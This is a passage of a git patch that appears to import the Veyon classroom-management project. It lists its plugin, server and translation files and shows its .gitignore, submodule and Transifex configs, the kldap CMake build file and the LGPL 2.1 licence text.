100644 plugins/powercontrol/CMakeLists.txt create mode 100644 plugins/powercontrol/PowerControlFeaturePlugin.cpp create mode 100644 plugins/powercontrol/PowerControlFeaturePlugin.h create mode 100644 plugins/powercontrol/powercontrol.qrc create mode 100644 plugins/powercontrol/preferences-system-power-management.png create mode 100644 plugins/powercontrol/system-reboot.png create mode 100644 plugins/powercontrol/system-shutdown.png create mode 100644 plugins/remoteaccess/CMakeLists.txt create mode 100644 plugins/remoteaccess/RemoteAccessFeaturePlugin.cpp create mode 100644 plugins/remoteaccess/RemoteAccessFeaturePlugin.h create mode 100644 plugins/remoteaccess/RemoteAccessWidget.cpp create mode 100644 plugins/remoteaccess/RemoteAccessWidget.h create mode 100644 plugins/remoteaccess/application-exit.png create mode 100644 plugins/remoteaccess/camera-photo.png create mode 100644 plugins/remoteaccess/kmag.png create mode 100644 plugins/remoteaccess/krdc.png create mode 100644 plugins/remoteaccess/preferences-desktop-keyboard.png create mode 100644 plugins/remoteaccess/remoteaccess.qrc create mode 100644 plugins/remoteaccess/view-fullscreen.png create mode 100644 plugins/screenlock/CMakeLists.txt create mode 100644 plugins/screenlock/ScreenLockFeaturePlugin.cpp create mode 100644 plugins/screenlock/ScreenLockFeaturePlugin.h create mode 100644 plugins/screenlock/locked-screen-background.png create mode 100644 plugins/screenlock/screenlock.qrc create mode 100644 plugins/screenlock/system-lock-screen.png create mode 100644 plugins/screenshot/CMakeLists.txt create mode 100644 plugins/screenshot/ScreenshotFeaturePlugin.cpp create mode 100644 plugins/screenshot/ScreenshotFeaturePlugin.h create mode 100644 plugins/screenshot/camera-photo.png create mode 100644 plugins/screenshot/screenshot.qrc create mode 100644 plugins/servicecontrol/CMakeLists.txt create mode 100644 plugins/servicecontrol/ServiceControlPlugin.cpp create mode 100644 plugins/servicecontrol/ServiceControlPlugin.h create mode 100644 plugins/shell/CMakeLists.txt create mode 100644 plugins/shell/ShellCommandLinePlugin.cpp create mode 100644 plugins/shell/ShellCommandLinePlugin.h create mode 100644 plugins/systemusergroups/CMakeLists.txt create mode 100644 plugins/systemusergroups/SystemUserGroupsPlugin.cpp create mode 100644 plugins/systemusergroups/SystemUserGroupsPlugin.h create mode 100644 plugins/textmessage/CMakeLists.txt create mode 100644 plugins/textmessage/TextMessageDialog.cpp create mode 100644 plugins/textmessage/TextMessageDialog.h create mode 100644 plugins/textmessage/TextMessageDialog.ui create mode 100644 plugins/textmessage/TextMessageFeaturePlugin.cpp create mode 100644 plugins/textmessage/TextMessageFeaturePlugin.h create mode 100644 plugins/textmessage/dialog-information.png create mode 100644 plugins/textmessage/textmessage.qrc create mode 100644 plugins/vncserver/CMakeLists.txt create mode 100644 plugins/vncserver/external/CMakeLists.txt create mode 100644 plugins/vncserver/external/ExternalVncServer.cpp create mode 100644 plugins/vncserver/external/ExternalVncServer.h create mode 100644 plugins/vncserver/external/ExternalVncServerConfiguration.cpp create mode 100644 plugins/vncserver/external/ExternalVncServerConfiguration.h create mode 100644 plugins/vncserver/external/ExternalVncServerConfigurationWidget.cpp create mode 100644 plugins/vncserver/external/ExternalVncServerConfigurationWidget.h create mode 100644 plugins/vncserver/external/ExternalVncServerConfigurationWidget.ui create mode 100644 plugins/vncserver/ultravnc-builtin/BuiltinUltraVncServer.cpp create mode 100644 plugins/vncserver/ultravnc-builtin/BuiltinUltraVncServer.h create mode 100644 plugins/vncserver/ultravnc-builtin/CMakeLists.txt create mode 100644 plugins/vncserver/ultravnc-builtin/LogoffEventFilter.cpp create mode 100644 plugins/vncserver/ultravnc-builtin/LogoffEventFilter.h create mode 100644 plugins/vncserver/ultravnc-builtin/UltraVncConfiguration.cpp create mode 100644 plugins/vncserver/ultravnc-builtin/UltraVncConfiguration.h create mode 100644 plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.cpp create mode 100644 plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.h create mode 100644 plugins/vncserver/ultravnc-builtin/UltraVncConfigurationWidget.ui create mode 100644 plugins/vncserver/ultravnc-builtin/ultravnc-rfbproto.h create mode 100644 plugins/vncserver/ultravnc-builtin/ultravnc.cpp create mode 100644 plugins/vncserver/ultravnc-builtin/vnchooks/CMakeLists.txt create mode 100644 plugins/vncserver/ultravnc-builtin/vncntlm.cpp create mode 100644 plugins/vncserver/x11vnc-builtin/BuiltinX11VncServer.cpp create mode 100644 plugins/vncserver/x11vnc-builtin/BuiltinX11VncServer.h create mode 100644 plugins/vncserver/x11vnc-builtin/CMakeLists.txt create mode 100644 plugins/vncserver/x11vnc-builtin/X11VncConfiguration.cpp create mode 100644 plugins/vncserver/x11vnc-builtin/X11VncConfiguration.h create mode 100644 plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.cpp create mode 100644 plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.h create mode 100644 plugins/vncserver/x11vnc-builtin/X11VncConfigurationWidget.ui create mode 100644 plugins/vncserver/x11vnc-builtin/config.h.in create mode 100644 plugins/vncserver/x11vnc-builtin/x11vnc-veyon.c create mode 100644 project.yml create mode 100644 server/CMakeLists.txt create mode 100644 server/src/ComputerControlClient.cpp create mode 100644 server/src/ComputerControlClient.h create mode 100644 server/src/ComputerControlServer.cpp create mode 100644 server/src/ComputerControlServer.h create mode 100644 server/src/ServerAccessControlManager.cpp create mode 100644 server/src/ServerAccessControlManager.h create mode 100644 server/src/ServerAuthenticationManager.cpp create mode 100644 server/src/ServerAuthenticationManager.h create mode 100644 server/src/VeyonServerProtocol.cpp create mode 100644 server/src/VeyonServerProtocol.h create mode 100644 server/src/VncProxyConnection.cpp create mode 100644 server/src/VncProxyConnection.h create mode 100644 server/src/VncProxyConnectionFactory.h create mode 100644 server/src/VncProxyServer.cpp create mode 100644 server/src/VncProxyServer.h create mode 100644 server/src/VncServer.cpp create mode 100644 server/src/VncServer.h create mode 100644 server/src/main.cpp create mode 100644 server/veyon-server.1 create mode 100644 server/veyon-server.rc.in create mode 100644 service/CMakeLists.txt create mode 100644 service/src/main.cpp create mode 100644 service/veyon-service.1 create mode 100644 service/veyon-service.rc.in create mode 100644 service/veyon-service.service.in create mode 100644 translations/CMakeLists.txt create mode 100644 translations/ar.ts create mode 100644 translations/ca_ES.ts create mode 100644 translations/cs.ts create mode 100644 translations/de_DE.ts create mode 100644 translations/el.ts create mode 100644 translations/es_ES.ts create mode 100644 translations/fa.ts create mode 100644 translations/fi.ts create mode 100644 translations/fr.ts create mode 100644 translations/he.ts create mode 100644 translations/hu.ts create mode 100644 translations/id_ID.ts create mode 100644 translations/it_IT.ts create mode 100644 translations/ja_JP.ts create mode 100644 translations/ko_KR.ts create mode 100644 translations/lt.ts create mode 100644 translations/lv_LV.ts create mode 100644 translations/mn.ts create mode 100644 translations/nl.ts create mode 100644 translations/nn.ts create mode 100644 translations/no_NO.ts create mode 100644 translations/pl_PL.ts create mode 100644 translations/pt_BR.ts create mode 100644 translations/pt_PT.ts create mode 100644 translations/ru.ts create mode 100644 translations/sk.ts create mode 100644 translations/sl.ts create mode 100644 translations/sv.ts create mode 100644 translations/tr.ts create mode 100644 translations/uk.ts create mode 100644 translations/veyon.ts create mode 100644 translations/zh_CN.ts create mode 100644 translations/zh_TW.ts create mode 100644 worker/CMakeLists.txt create mode 100644 worker/src/FeatureWorkerManagerConnection.cpp create mode 100644 worker/src/FeatureWorkerManagerConnection.h create mode 100644 worker/src/VeyonWorker.cpp create mode 100644 worker/src/VeyonWorker.h create mode 100644 worker/src/main.cpp create mode 100644 worker/veyon-worker.1 create mode 100644 worker/veyon-worker.rc.in diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..91d68d6 --- /dev/null +++ b/.gitignore @@ -0,0 +1,6 @@ +.vagrant/* +b/* +.DS_Store +*.qm +svg +Makefile diff --git a/.gitmodules b/.gitmodules new file mode 100644 index 0000000..ab9b6b3 --- /dev/null +++ b/.gitmodules @@ -0,0 +1,12 @@ +[submodule "3rdparty/ultravnc"] + path = 3rdparty/ultravnc + url = https://github.com/veyon/ultravnc.git +[submodule "3rdparty/kldap"] + path = 3rdparty/kldap + url = https://anongit.kde.org/kldap.git +[submodule "3rdparty/libvncserver"] + path = 3rdparty/libvncserver + url = https://github.com/veyon/libvncserver.git +[submodule "3rdparty/x11vnc"] + path = 3rdparty/x11vnc + url = https://github.com/veyon/x11vnc.git diff --git a/.mailmap b/.mailmap new file mode 100644 index 0000000..c670eca --- /dev/null +++ b/.mailmap @@ -0,0 +1 @@ +Tobias Junghans diff --git a/.tx/config b/.tx/config new file mode 100644 index 0000000..ed0b25b --- /dev/null +++ b/.tx/config @@ -0,0 +1,10 @@ +[main] +host = https://www.transifex.com +minimum_perc = 51 +#Need to finish at least 51% before merging back + +[veyon.veyon] +file_filter = core/resources/.ts +source_file = core/resources/veyon.ts +source_lang = en +type = QT diff --git a/3rdparty/kldap/.arcconfig b/3rdparty/kldap/.arcconfig new file mode 100644 index 0000000..3ff2b47 --- /dev/null +++ b/3rdparty/kldap/.arcconfig @@ -0,0 +1,3 @@ +{ + "phabricator.uri": "https://phabricator.kde.org/project/profile/34/" +} diff --git a/3rdparty/kldap/.gitignore b/3rdparty/kldap/.gitignore new file mode 100644 index 0000000..7032c32 --- /dev/null +++ b/3rdparty/kldap/.gitignore @@ -0,0 +1,21 @@ +# Ignore the following files +*~ +*.[oa] +*.diff +*.kate-swp +*.kdev4 +.kdev_include_paths +*.kdevelop.pcs +*.moc +*.moc.cpp +*.orig +*.user +.*.swp +.swp.* +Doxyfile +Makefile +avail +random_seed +/build/ +CMakeLists.txt.user* +*.unc-backup* diff --git a/3rdparty/kldap/CMakeLists.txt b/3rdparty/kldap/CMakeLists.txt new file mode 100644 index 0000000..0ffe752 --- /dev/null +++ b/3rdparty/kldap/CMakeLists.txt @@ -0,0 +1,98 @@ +cmake_minimum_required(VERSION 3.0) +set(PIM_VERSION "5.9.40") + +project(KLdap VERSION ${PIM_VERSION}) + +# ECM setup +set(KF5_VERSION "5.48.0") + +find_package(ECM ${KF5_VERSION} CONFIG REQUIRED) +set(CMAKE_MODULE_PATH ${KLdap_SOURCE_DIR}/cmake ${ECM_MODULE_PATH}) + +include(GenerateExportHeader) +include(ECMGenerateHeaders) +include(ECMGeneratePriFile) +include(CMakePackageConfigHelpers) +include(ECMSetupVersion) +include(FeatureSummary) +include(KDEInstallDirs) +include(KDECMakeSettings) +include(KDEFrameworkCompilerSettings NO_POLICY_SCOPE) +include(ECMQtDeclareLoggingCategory) +include(ECMCoverageOption) + +set(KLDAP_LIB_VERSION ${PIM_VERSION}) + +find_package(KF5KIO ${KF5_VERSION} CONFIG REQUIRED) +find_package(KF5I18n ${KF5_VERSION} CONFIG REQUIRED) +find_package(KF5DocTools ${KF5_VERSION} CONFIG REQUIRED) +add_definitions("-DQT_NO_CAST_FROM_ASCII -DQT_NO_CAST_TO_ASCII") +add_definitions(-DQT_NO_NARROWING_CONVERSIONS_IN_CONNECT) + +ecm_setup_version(PROJECT VARIABLE_PREFIX KLDAP + VERSION_HEADER "${CMAKE_CURRENT_BINARY_DIR}/kldap_version.h" + PACKAGE_VERSION_FILE "${CMAKE_CURRENT_BINARY_DIR}/KF5LdapConfigVersion.cmake" + SOVERSION 5 +) + +########### Find packages ########### +find_package(KF5Completion ${KF5_VERSION} CONFIG REQUIRED) +find_package(KF5WidgetsAddons ${KF5_VERSION} CONFIG REQUIRED) + + +find_package(Ldap) +set_package_properties(Ldap PROPERTIES + TYPE RECOMMENDED + PURPOSE "Needed to provide LDAP functionality in KDE" +) + +find_package(Sasl2) +set_package_properties(Sasl2 PROPERTIES TYPE OPTIONAL) + +if (Ldap_FOUND) + set(LDAP_FOUND 1) +endif() + +if (Sasl2_FOUND) + set(SASL2_FOUND 1) +endif() + +add_definitions("-DQT_NO_CAST_FROM_ASCII -DQT_NO_CAST_TO_ASCII") +add_definitions(-DTRANSLATION_DOMAIN=\"libkldap5\") +add_definitions(-DQT_NO_URL_CAST_FROM_STRING) +add_definitions(-DQT_NO_NARROWING_CONVERSIONS_IN_CONNECT) + +########### CMake Config Files ########### +set(CMAKECONFIG_INSTALL_DIR "${KDE_INSTALL_CMAKEPACKAGEDIR}/KF5Ldap") + +configure_package_config_file( + "${CMAKE_CURRENT_SOURCE_DIR}/KF5LdapConfig.cmake.in" + "${CMAKE_CURRENT_BINARY_DIR}/KF5LdapConfig.cmake" + INSTALL_DESTINATION ${CMAKECONFIG_INSTALL_DIR} +) + +install(FILES + "${CMAKE_CURRENT_BINARY_DIR}/KF5LdapConfig.cmake" + "${CMAKE_CURRENT_BINARY_DIR}/KF5LdapConfigVersion.cmake" + DESTINATION "${CMAKECONFIG_INSTALL_DIR}" + COMPONENT Devel +) + +install(EXPORT KF5LdapTargets DESTINATION "${CMAKECONFIG_INSTALL_DIR}" FILE KF5LdapTargets.cmake NAMESPACE KF5::) + +install(FILES + ${CMAKE_CURRENT_BINARY_DIR}/kldap_version.h + DESTINATION ${KDE_INSTALL_INCLUDEDIR_KF5} + COMPONENT Devel +) + +########### Targets ########### +add_subdirectory(src) +add_subdirectory(kioslave) +if(BUILD_TESTING) + add_subdirectory(autotests) +endif() + +install( FILES kldap.renamecategories kldap.categories DESTINATION ${KDE_INSTALL_CONFDIR} ) + +feature_summary(WHAT ALL FATAL_ON_MISSING_REQUIRED_PACKAGES) diff --git a/3rdparty/kldap/COPYING.LIB b/3rdparty/kldap/COPYING.LIB new file mode 100644 index 0000000..2d2d780 --- /dev/null +++ b/3rdparty/kldap/COPYING.LIB @@ -0,0 +1,510 @@ + + GNU LESSER GENERAL PUBLIC LICENSE + Version 2.1, February 1999 + + Copyright (C) 1991, 1999 Free Software Foundation, Inc. + 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + +[This is the first released version of the Lesser GPL. It also counts + as the successor of the GNU Library Public License, version 2, hence + the version number 2.1.] + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +Licenses are intended to guarantee your freedom to share and change +free software--to make sure the software is free for all its users. + + This license, the Lesser General Public License, applies to some +specially designated software packages--typically libraries--of the +Free Software Foundation and other authors who decide to use it. You +can use it too, but we suggest you first think carefully about whether +this license or the ordinary General Public License is the better +strategy to use in any particular case, based on the explanations +below. + + When we speak of free software, we are referring to freedom of use, +not price. Our General Public Licenses are designed to make sure that +you have the freedom to distribute copies of free software (and charge +for this service if you wish); that you receive source code or can get +it if you want it; that you can change the software and use pieces of +it in new free programs; and that you are informed that you can do +these things. + + To protect your rights, we need to make restrictions that forbid +distributors to deny you these rights or to ask you to surrender these +rights. These restrictions translate to certain responsibilities for +you if you distribute copies of the library or if you modify it. + + For example, if you distribute copies of the library, whether gratis +or for a fee, you must give the recipients all the rights that we gave +you. You must make sure that they, too, receive or can get the source +code. If you link other code with the library, you must provide +complete object files to the recipients, so that they can relink them +with the library after making changes to the library and recompiling +it. And you must show them these terms so they know their rights. + + We protect your rights with a two-step method: (1) we copyright the +library, and (2) we offer you this license, which gives you legal +permission to copy, distribute and/or modify the library. + + To protect each distributor, we want to make it very clear that +there is no warranty for the free library. Also, if the library is +modified by someone else and passed on, the recipients should know +that what they have is not the original version, so that the original +author's reputation will not be affected by problems that might be +introduced by others. + + Finally, software patents pose a constant threat to the existence of +any free program. We wish to make sure that a company cannot +effectively restrict the users of a free program by obtaining a +restrictive license from a patent holder. Therefore, we insist that +any patent license obtained for a version of the library must be +consistent with the full freedom of use specified in this license. + + Most GNU software, including some libraries, is covered by the +ordinary GNU General Public License. This license, the GNU Lesser +General Public License, applies to certain designated libraries, and +is quite different from the ordinary General Public License. We use +this license for certain libraries in order to permit linking those +libraries into non-free programs. + + When a program is linked with a library, whether statically or using +a shared library, the combination of the two is legally speaking a +combined work, a derivative of the original library. The ordinary +General Public License therefore permits such linking only if the +entire combination fits its criteria of freedom. The Lesser General +Public License permits more lax criteria for linking other code with +the library. + + We call this license the "Lesser" General Public License because it +does Less to protect the user's freedom than the ordinary General +Public License. It also provides other free software developers Less +of an advantage over competing non-free programs. These disadvantages +are the reason we use the ordinary General Public License for many +libraries. However, the Lesser license provides advantages in certain +special circumstances. + + For example, on rare occasions, there may be a special need to +encourage the widest possible use of a certain library, so that it +becomes a de-facto standard. To achieve this, non-free programs must +be allowed to use the library. A more frequent case is that a free +library does the same job as widely used non-free libraries. In this +case, there is little to gain by limiting the free library to free +software only, so we use the Lesser General Public License. + + In other cases, permission to use a particular library in non-free +programs enables a greater number of people to use a large body of +free software. For example, permission to use the GNU C Library in +non-free programs enables many more people to use the whole GNU +operating system, as well as its variant, the GNU/Linux operating +system. + + Although the Lesser General Public License is Less protective of the +users' freedom, it does ensure that the user of a program that is +linked with the Library has the freedom and the wherewithal to run +that program using a modified version of the Library. + + The precise terms and conditions for copying, distribution and +modification follow. Pay close attention to the difference between a +"work based on the library" and a "work that uses the library". The +former contains code derived from the library, whereas the latter must +be combined with the library in order to run. + + GNU LESSER GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License Agreement applies to any software library or other +program which contains a notice placed by the copyright holder or +other authorized party saying it may be distributed under the terms of +this Lesser General Public License (also called "this License"). +Each licensee is addressed as "you". + + A "library" means a collection of software functions and/or data +prepared so as to be conveniently linked with application programs +(which use some of those functions and data) to form executables. + + The "Library", below, refers to any such software library or work +which has been distributed under these terms. A "work based on the +Library" means either the Library or any derivative work under +copyright law: that is to say, a work containing the Library or a +portion of it, either verbatim or with modifications and/or translated +straightforwardly into another language. (Hereinafter, translation is +included without limitation in the term "modification".) + + "Source code" for a work means the preferred form of the work for +making modifications to it. For a library, complete source code means +all the source code for all modules it contains, plus any associated +interface definition files, plus the scripts used to control +compilation and installation of the library. + + Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running a program using the Library is not restricted, and output from +such a program is covered only if its contents constitute a work based +on the Library (independent of the use of the Library in a tool for +writing it). Whether that is true depends on what the Library does +and what the program that uses the Library does. + + 1. You may copy and distribute verbatim copies of the Library's +complete source code as you receive it, in any medium, provided that +you conspicuously and appropriately publish on each copy an +appropriate copyright notice and disclaimer of warranty; keep intact +all the notices that refer to this License and to the absence of any +warranty; and distribute a copy of this License along with the +Library. + + You may charge a fee for the physical act of transferring a copy, +and you may at your option offer warranty protection in exchange for a +fee. + + 2. You may modify your copy or copies of the Library or any portion +of it, thus forming a work based on the Library, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) The modified work must itself be a software library. + + b) You must cause the files modified to carry prominent notices + stating that you changed the files and the date of any change. + + c) You must cause the whole of the work to be licensed at no + charge to all third parties under the terms of this License. + + d) If a facility in the modified Library refers to a function or a + table of data to be supplied by an application program that uses + the facility, other than as an argument passed when the facility + is invoked, then you must make a good faith effort to ensure that, + in the event an application does not supply such function or + table, the facility still operates, and performs whatever part of + its purpose remains meaningful. + + (For example, a function in a library to compute square roots has + a purpose that is entirely well-defined independent of the + application. Therefore, Subsection 2d requires that any + application-supplied function or table used by this function must + be optional: if the application does not supply it, the square + root function must still compute square roots.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Library, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Library, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote +it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Library. + +In addition, mere aggregation of another work not based on the Library +with the Library (or with a work based on the Library) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may opt to apply the terms of the ordinary GNU General Public +License instead of this License to a given copy of the Library. To do +this, you must alter all the notices that refer to this License, so +that they refer to the ordinary GNU General Public License, version 2, +instead of to this License. (If a newer version than version 2 of the +ordinary GNU General Public License has appeared, then you can specify +that version instead if you wish.) Do not make any other change in +these notices. + + Once this change is made in a given copy, it is irreversible for +that copy, so the ordinary GNU General Public License applies to all +subsequent copies and derivative works made from that copy. + + This option is useful when you wish to copy part of the code of +the Library into a program that is not a library. + + 4. You may copy and distribute the Library (or a portion or +derivative of it, under Section 2) in object code or executable form +under the terms of Sections 1 and 2 above provided that you accompany +it with the complete corresponding machine-readable source code, which +must be distributed under the terms of Sections 1 and 2 above on a +medium customarily used for software interchange. + + If distribution of object code is made by offering access to copy +from a designated place, then offering equivalent access to copy the +source code from the same place satisfies the requirement to +distribute the source code, even though third parties are not +compelled to copy the source along with the object code. + + 5. A program that contains no derivative of any portion of the +Library, but is designed to work with the Library by being compiled or +linked with it, is called a "work that uses the Library". Such a +work, in isolation, is not a derivative work of the Library, and +therefore falls outside the scope of this License. + + However, linking a "work that uses the Library" with the Library +creates an executable that is a derivative of the Library (because it +contains portions of the Library), rather than a "work that uses the +library". The executable is therefore covered by this License. +Section 6 states terms for distribution of such executables. + + When a "work that uses the Library" uses material from a header file +that is part of the Library, the object code for the work may be a +derivative work of the Library even though the source code is not. +Whether this is true is especially significant if the work can be +linked without the Library, or if the work is itself a library. The +threshold for this to be true is not precisely defined by law. + + If such an object file uses only numerical parameters, data +structure layouts and accessors, and small macros and small inline +functions (ten lines or less in length), then the use of the object +file is unrestricted, regardless of whether it is legally a derivative +work. (Executables containing this object code plus portions of the +Library will still fall under Section 6.) + + Otherwise, if the work is a derivative of the Library, you may +distribute the object code for the work under the terms of Section 6. +Any executables containing that work also fall under Section 6, +whether or not they are linked directly with the Library itself. + + 6. As an exception to the Sections above, you may also combine or +link a "work that uses the Library" with the Library to produce a +work containing portions of the Library, and distribute that work +under terms of your choice, provided that the terms permit +modification of the work for the customer's own use and reverse +engineering for debugging such modifications. + + You must give prominent notice with each copy of the work that the +Library is used in it and that the Library and its use are covered by +this License. You must supply a copy of this License. If the work +during execution displays copyright notices, you must include the +copyright notice for the Library among them, as well as a reference +directing the user to the copy of this License. Also, you must do one +of these things: + + a) Accompany the work with the complete corresponding + machine-readable source code for the Library including whatever + changes were used in the work (which must be distributed under + Sections 1 and 2 above); and, if the work is an executable linked + with the Library, with the complete machine-readable "work that + uses the Library", as object code and/or source code, so that the + user can modify the Library and then relink to produce a modified + executable containing the modified Library. (It is understood + that the user who changes the contents of definitions files in the + Library will not necessarily be able to recompile the application + to use the modified definitions.) + + b) Use a suitable shared library mechanism for linking with the + Library. A suitable mechanism is one that (1) uses at run time a + copy of the library already present on the user's computer system, + rather than copying library functions into the executable, and (2) + will operate properly with a modified version of the library, if + the user installs one, as long as the modified version is + interface-compatible with the version that the work was made with. + + c) Accompany the work with a written offer, valid for at least + three years, to give the same user the materials specified in + Subsection 6a, above, for a charge no more than the cost of + performing this distribution. + + d) If distribution of the work is made by offering access to copy + from a designated place, offer equivalent access to copy the above + specified materials from the same place. + + e) Verify that the user has already received a copy of these + materials or that you have already sent this user a copy. + + For an executable, the required form of the "work that uses the +Library" must include any data and utility programs needed for +reproducing the executable from it. However, as a special exception, +the materials to be distributed need not include anything that is +normally distributed (in either source or binary form) with the major +components (compiler, kernel, and so on) of the operating system on +which the executable runs, unless that component itself accompanies +the executable. + + It may happen that this requirement contradicts the license +restrictions of other proprietary libraries that do not normally +accompany the operating system. Such a contradiction means you cannot +use both them and the Library together in an executable that you +distribute. + + 7. You may place library facilities that are a work based on the +Library side-by-side in a single library together with other library +facilities not covered by this License, and distribute such a combined +library, provided that the separate distribution of the work based on +the Library and of the other library facilities is otherwise +permitted, and provided that you do these two things: + + a) Accompany the combined library with a copy of the same work + based on the Library, uncombined with any other library + facilities. This must be distributed under the terms of the + Sections above. + + b) Give prominent notice with the combined library of the fact + that part of it is a work based on the Library, and explaining + where to find the accompanying uncombined form of the same work. + + 8. You may not copy, modify, sublicense, link with, or distribute +the Library except as expressly provided under this License. Any +attempt otherwise to copy, modify, sublicense, link with, or +distribute the Library is void, and will automatically terminate your +rights under this License. However, parties who have received copies, +or rights, from you under this License will not have their licenses +terminated so long as such parties remain in full compliance. + + 9. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Library or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Library (or any work based on the +Library), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Library or works based on it. + + 10. Each time you redistribute the Library (or any work based on the +Library), the recipient automatically receives a license from the +original licensor to copy, distribute, link with or modify the Library +subject to these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties with +this License. + + 11. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Library at all. For example, if a patent +license would not permit royalty-free redistribution of the Library by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Library. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply, and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 12. If the distribution and/or use of the Library is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Library under this License +may add an explicit geographical distribution limitation excluding those +countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 13. The Free Software Foundation may publish revised and/or new +versions of the Lesser General Public License from time to time. +Such new versions will be similar in spirit to the present version, +but may differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the Library +specifies a version number of this License which applies to it and +"any later version", you have the option of following the terms and +conditions either of that version or of any later version published by +the Free Software Foundation. If the Library does not specify a +license version number, you may choose any version ever published by +the Free Software Foundation. + + 14. If you wish to incorporate parts of the Library into other free +programs whose distribution conditions are incompatible with these, +write to the author to ask for permission. For software which is +copyrighted by the Free Software Foundation, write to the Free +Software Foundation; we sometimes make exceptions for this. Our +decision will be guided by the two goals of preserving the free status +of all derivatives of our free software and of promoting the sharing +and reuse of software generally. + + NO WARRANTY + + 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO +WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. +EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR +OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY +KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE +LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME +THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN +WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY +AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU +FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR +CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE +LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING +RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A +FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF +SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH +DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Libraries + + If you develop a new library, and you want it to be of the greatest +possible use to the public, we recommend making it free software that +everyone can redistribute and change. You can do so by permitting +redistribution under these terms (or, alternatively, under the terms +of the ordinary General Public License). + + To apply these terms, attach the following notices to the library. +It is safest to attach them to the start of each source file to most +effectively convey the exclusion of warranty; and each file should +have at least the "copyright" line and a pointer to where the full +notice is found. + + + + Copyright (C) + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + +Also add information on how to contact you by electronic and paper mail. + +You should also get your employer (if you work as a programmer) or +your school, if any, to sign a "copyright disclaimer" for the library, +if necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the + library `Frob' (a library for tweaking knobs) written by James + Random Hacker. + + , 1 April 1990 + Ty Coon, President of Vice + +That's all there is to it! + + diff --git a/3rdparty/kldap/KF5LdapConfig.cmake.in b/3rdparty/kldap/KF5LdapConfig.cmake.in new file mode 100644 index 